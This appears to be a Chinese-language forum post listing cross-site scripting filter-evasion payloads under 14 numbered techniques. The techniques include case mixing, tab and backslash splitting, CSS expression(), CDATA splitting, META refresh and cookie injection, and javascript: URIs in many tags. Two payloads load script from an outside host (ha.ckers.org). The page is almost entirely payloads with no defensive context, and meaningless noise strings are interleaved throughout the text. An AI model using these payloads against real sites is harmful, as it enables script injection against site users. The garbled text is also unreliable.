1. 改变字符大小写
- f/ e3 x% @; Z+ a: b% X9 V
1 p9 J# V Q7 Q. @
, j& u( z; V# H( Y, V! ~% V& a, W( w& |. b, H- o2 E* x
<sCript>alert(‘d’)</scRipT>
( Z y1 ]. V I8 X/ e% n" N
1 S1 g1 b, ]; h/ G4 v! Y6 O2. 利用多加一些其它字符来规避Regular Expression的检查
- y" ]1 e* k# Y: I8 Y
/ F6 A, ^* u; f6 `% d# g* ] <<script>alert(‘c’)//<</script>; X+ m, m! z6 W
9 O' g! a! Y9 |8 x
<SCRIPT a=">" SRC="t.js"></SCRIPT>0 L+ P$ g2 l9 ^6 J7 X$ L( z! [
6 Z( ]4 L8 t& y6 ]; g# D1 h
<SCRIPT =">" SRC="t.js"></SCRIPT>5 Z' [- S8 b: r/ R5 e
$ ?. b% Q, o2 ~7 c, d& @1 Y <SCRIPT a=">" ” SRC="t.js"></SCRIPT>" F# R4 Q5 ~% v# ^" L! M l; y
& |1 h, q: T0 K <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
' l% @$ |9 H* Q, @1 V7 f1 i# O6 p. J+ _) a
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
0 B- M0 h8 D; {% e& |9 O% _: f+ s; h/ S( L7 O p2 V. P4 z
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>' ?4 x4 m5 J* P3 a) H9 A6 \" o2 s
+ H& J% R3 ~) ?# X' c
3. 以其它扩展名取代.js
" W2 ]" P5 R2 u* q6 _' z
" b, x" a2 G% R8 N3 ~; \6 H <script src="bad.jpg"></script>) b/ l3 y9 {' j0 t) v0 K1 K
$ l+ F! q& q; R2 @" a# c* y' G
4. 将Javascript写在CSS档里1 \. `; E) p+ n3 M- Q
6 L: z. v" J! |5 W" ^8 E+ Q <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
' Y% H/ y: H) d/ {% E" i5 P/ s
# Q* k, o( a% X! | example:5 H# C' ^' U! G( r7 r. |1 f
# W& [* W+ Y/ x/ a
body {
' N+ P4 N* T+ o" ~+ ~$ Q5 j
- d! ]* ~) w3 `1 Y- [ background-image: url(‘javascript:alert("XSS");’)5 v: a: l& J1 v6 C! F% [& J- x9 V
3 r. z4 \5 U9 b. Q" t- Y
}' @% L' f l8 J) d/ s2 j/ r# T( g
) f. |1 N# f7 v
5. 在script的tag里加入一些其它字符
5 [2 E0 O, m/ p0 K( v9 B6 h& c4 c1 m: w: k
<SCRIPT/SRC="t.js"></SCRIPT>
?/ e7 c5 m' o, m* I5 t: d' q. C8 L+ Y: {7 c7 K. P3 w
<SCRIPT/anyword SRC="t.js"></SCRIPT>/ N& `8 G( I9 t
i1 q3 I K4 m/ i% P% H6. 使用tab或是new line来规避
+ `" E# Q5 M% |, w! l9 ]- L0 d! ?
, i$ P5 k) j! X; l3 } <img src="jav ascr ipt:alert(‘XSS3′)">
! b O0 x; r6 l! A. r! N, C! Y( K g s, m6 Q+ h2 o
<img src="jav ascr ipt:alert(‘XSS3′)">
/ A. l3 I5 D# X G( }' y
% J. N1 i8 T0 i! i, e <IMG SRC="jav ascript:alert(‘XSS’);">
" L, \2 C G6 n2 l. Q! {2 n O" b* Y# L* s( W
-> tag
! f4 e; Z; {- G% j
8 n5 O% |* E/ ~! [/ f% h -> new line# m, Q+ {3 P5 N# I9 k# Q
" r8 f6 [& e7 i9 O! j( E" p
7. 使用"\"来规避! f0 b, |" L' p9 E# h" ]
B5 e6 F! ^& m6 @0 ^; Y
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
1 ~2 l; b) r! n7 G& m: i
, ]5 z. ~2 t/ B1 G# K <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>1 L1 b+ L; e1 P2 r4 W
' S' Y! q( r8 E2 U. j4 [ I <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
- f/ b* Q- S8 e6 H; O
1 l4 V1 Q* h8 y: z$ R: E4 R <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
" J6 D- i. q8 v1 [
. J S, i* ]; A' M0 w. j5 n <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>& A& t+ u0 i: P) C) }" a+ e4 T
8 i, E8 b; \" |9 I6 V( w/ g8. 使用Hex encode来规避(也可能会把";"拿掉)
4 I0 ~4 G6 [" n, P) \- O8 I9 \6 o7 P$ m) N+ d9 u
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
+ z; a/ i( D; X) K$ Z
3 |) L5 l! |' t7 e 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">- j. X' P3 d( E6 H) w' r( ~
) a* P8 n0 ~( m) ?
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
: t" q" j* U1 k, \( [
# E3 w3 r/ U: d2 N- h7 H2 U6 f# f 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
! t6 R1 T6 E5 u# m7 |9 E f$ U5 o5 G4 d
9. script in HTML tag
- g/ ]( ?" |) W
: y. w6 J: |) N' J2 D" S <body onload=」alert(‘onload’)」>! Y. D' I5 h; |/ F
- ^: S$ |: y, u' w onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload" }) L3 J; A+ c' s) P$ L9 U; Z7 C
1 l$ B5 X; H5 B9 }
10. 在swf里含有xss的code
# c8 c4 H7 R3 s. r5 N" ~/ E. H4 a
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
% I+ I: i1 @1 S) x5 y9 b
4 q6 v& |4 Y8 m. ]1 l6 k+ p& V11. 利用CDATA将xss的code拆开,再组合起来。# {# `6 L/ b/ r9 `" v$ L/ N* y
, W( |6 |+ _. ?( _; L% W <XML ID=I><X><C>
& @; W: p! U& ?6 N5 v, W
9 c) g) U8 c2 y& E <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>" ?7 X1 l5 W4 x* @
* d. C; O/ }5 e3 H8 P$ I& A; `# Q. ~ C </C></X>
/ @( |6 O6 J7 Y7 P: {2 @: l. E5 {+ F4 D) j1 U
</xml>
. Y7 k" M8 N9 ^4 g& p9 o6 m" d" D) n
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>% \, u# b- w* ?, }9 H) P
4 B0 T S- w G% d* ` <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML> x; }( U e% t( x5 ^$ I
6 B) E8 M* a1 i1 N( i& X <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>6 l+ R! b! b: u" N. ~7 Z( f
s% b( H* r2 l9 V* Y: M
12. 利用HTML+TIME。
3 [. K5 H; Y4 G3 _8 |7 ?# S4 c' ?/ r3 Y: r5 M
<HTML><BODY>' _- E4 E! i* C& t
1 |* u, M6 L& b" { b <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">, b6 Y: L7 b2 }! c% a% f& g7 w2 i1 i& }
& m1 m9 g! f" s1 I ^- l$ W
<?import namespace="t" implementation="#default#time2">
, X1 m( ?4 C2 ?0 Y
6 \3 X9 z& Q Q <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
& F+ L* v" W# A0 [0 z; A# n
- g* P1 N8 M( c8 m8 R </BODY></HTML>$ ^: z. W# ~2 a# X+ |5 A
" _, u2 o* M4 o0 x& _8 ?% ^( a2 ]; ?
13. 透过META写入Cookie。
9 p, z' \2 D9 Y3 I% v
; k/ u% X' c; G) E- S" O( r <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
( t- l5 H4 U0 s
: I% m& C+ k" G14. javascript in src , href , url1 ?0 y8 s& X0 ?
; s* m& g a; s3 ?) M" \
<IFRAME SRC=javascript:alert(’13′)></IFRAME>% o8 Y: m' L) V8 C0 E
& Y; P5 `- z7 s4 L! c* _ <img src="javascript:alert(‘XSS3′)">% y5 c8 z+ Y9 |7 _9 X
0 B0 I# o, M! a T p* M# K<IMG DYNSRC="javascript:alert(‘XSS20′)">
5 L8 N$ {2 u. z; R1 h4 ]9 x# b+ J* W% N2 y: p3 m
<IMG LOWSRC="javascript:alert(‘XSS21′)">
/ t6 P: S8 e# t% e% V, ^) r
( r; i0 X) D+ a. A% }+ Q: x <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
9 J, f& u4 I3 b/ N/ Y4 p: l6 F5 D1 r
5 J1 p5 u8 ^9 g. Q8 ]1 y' }4 u <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
: Q2 B& Z+ P2 P2 }
( y9 p8 T$ h1 d: j# x4 T <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
/ P0 a- _; n8 [' z( B# O+ s
" p7 K& H# \( [/ y3 e; f+ | <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">: V# V/ B1 W$ z2 o4 p" L9 i
1 S# c) i: N8 P6 ^, o
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}: Y% c# ^1 b) c: D& B( t2 m
! b) }3 i8 ], t' {: k </STYLE><A CLASS=XSS></A>
' I0 R7 b5 k; p8 A: U: G! [8 ^+ _( Y2 z6 v
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
5 L' F0 j3 R) a" h F# R1 l: Z
' X$ @# W& q0 \7 r: a |